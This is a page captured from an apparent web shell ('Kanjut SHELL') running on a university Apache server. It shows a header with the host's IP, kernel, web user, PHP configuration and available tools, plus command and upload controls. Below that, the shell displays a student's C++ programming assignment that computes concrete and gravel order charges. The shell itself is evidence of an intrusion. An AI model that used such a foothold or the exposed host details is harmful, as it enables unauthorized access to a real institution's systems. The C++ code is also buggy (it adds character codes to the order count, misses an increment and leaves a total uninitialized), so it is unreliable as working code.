Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.145.161.194
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/bmmassie/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/bmmassie/prog3.cpp
// Outline for Programming Assignment #3

// Preprocessor directives

#include <iostream> 
#include <iomanip>   
#include <fstream>
using namespace std;

// Main function

int main()
{

// -----Variables

int
    cydsordered,        // cubic yards ordered
    distance,           // distance
    totalorders = 0,    // total number of orders
    readymixcount = 0,  // number of ready-mix concrete orders
    rocgravcount = 0,   // number of rock and gravel orders
    sandcount = 0,      // number of sand orders
    topsoilcount = 0,   // number of topsoil orders
    rejectedcount = 0;  // number of rejected orders
float
    totalcharge,        // total of all orders
    mincharge,          // minimum charge
    maxcharge,          // maximum charge
    unitcost,           // unit cost
    costmaterial,       // cost of materials
    costdelivery,       // cost of delivery
    salestax,           // sales tax
    total;              // total (materials, delivery, sales tax)
char
    productch,          // product code
    classch,            // class code
    dummych;            // dummy code (skip blank)
bool
   errorincodes;        // false if codes okay, true if either code invalid

// -----Input


cout << "                                 VWC Stone Mart , Inc.                                    " << endl;
cout << "                                    Order Summary                                         " << endl;
cout << "                                          Cost of      Cost of                            " << endl;
cout << " Product    Class    Cyds    Distance    Materials    Delivery    Sales Tax    Total      " << endl;

cout << fixed << setprecision(2);     

// --- Initialize counters, summary variables here

mincharge = 1e29;
maxcharge = 0;


// --- Prime loop with first input value

cin >> productch;

// --- Processing loop - stops when product code is sentinel 'Z'

while (productch != 'Z')
{

   cin.get(dummych);              
   cin.get(classch);              
   cin >> cydsordered >> distance; 
   errorincodes = false;          
   totalorders += productch;

   switch (productch)
     {
        case 'c':
              switch (classch)
                {
                   case ' ':
                         unitcost = 52.60;
                         readymixcount++;
                         break; 
                   default:
                         errorincodes = true;
                         rejectedcount++;
                         break;
                }      
           break;
        case 'r':
              switch (classch)
                {
                   case 'c':
                         unitcost = 22.25;
                         rocgravcount++;
                         break;
                   case 'g':
                         unitcost = 16.50;     
                         rocgravcount++;
                         break;
                   case 'd':
                         unitcost = 35.00;
                         rocgravcount++;
                         break;
                   default:
                         errorincodes = true;
                         rejectedcount++;
                         break;
                }
           break;
        case 's':
              switch (classch)
                { 
                   case ' ':
                         unitcost = 4.35;
                         sandcount++;
                         break;
                   default:
                         errorincodes = true;
                         rejectedcount++;
                         break;
                } 
           break;
        case 't': 
              switch (classch)
                {
                   case 'a':
                         unitcost = 8.25;
                         topsoilcount;
                         break;  
                   case 'b':
                         unitcost = 6.50;
                         topsoilcount++;
                         break;
                   case 'c':
                         unitcost = 5.40;
                         topsoilcount++;
                         break; 
                   default:
                         errorincodes = true;
                         rejectedcount++;
                         break;
                }
     }
  

	if (errorincodes)
	  cout << "*************   ERROR   *************"; 
	else
         {
	   if (distance < 5)
     	   {
       	    costmaterial = cydsordered * unitcost;
            salestax = costmaterial * .05;
            costdelivery = costmaterial * .015;
           }    
           else if (distance >= 5 && distance < 15)
                { 
                 costmaterial = cydsordered * unitcost;
                 salestax = costmaterial * .05;
                 costdelivery = costmaterial * .02;  
                }
                else if (distance >= 15)
                     { 
                      costmaterial = cydsordered * unitcost;
                      salestax = costmaterial * .05;
                      costdelivery = costmaterial * .025;  
                     }
           
          costmaterial = static_cast<int> (costmaterial * 100 + .5) / 100.0;
          costdelivery = static_cast<int> (costdelivery * 100 + .5) / 100.0;
          salestax = static_cast<int> (salestax * 100 + .5) / 100.0;

          total = costmaterial + costdelivery + salestax;
          totalcharge += total;

          if (total > maxcharge)
            maxcharge = total;
          if (total < mincharge)
            mincharge = total;
         }
 cin >> productch;  
}

//-----Output

cout << "               Summary                " << endl;
cout << " Total number of orders:    " << setw(6) << totalorders << endl;
cout << "   Ready-mix concrete:      " << setw(6) << readymixcount << endl;
cout << "   Rock and gravel:         " << setw(6) << rocgravcount << endl;
cout << "   Sand:                    " << setw(6) << sandcount << endl;
cout << "   Topsoil:                 " << setw(6) << topsoilcount << endl;
cout << "   Rejected:                " << setw(6) << rejectedcount << endl;
cout << " Total charges:  $          " << setw(6) << totalcharge << endl;
cout << " Minimum charge: $          " << setw(6) << mincharge << endl;
cout << " Maximum charge: $          " << setw(6) << maxcharge << endl;
 
return 0;

}

Stv3n404 - 2023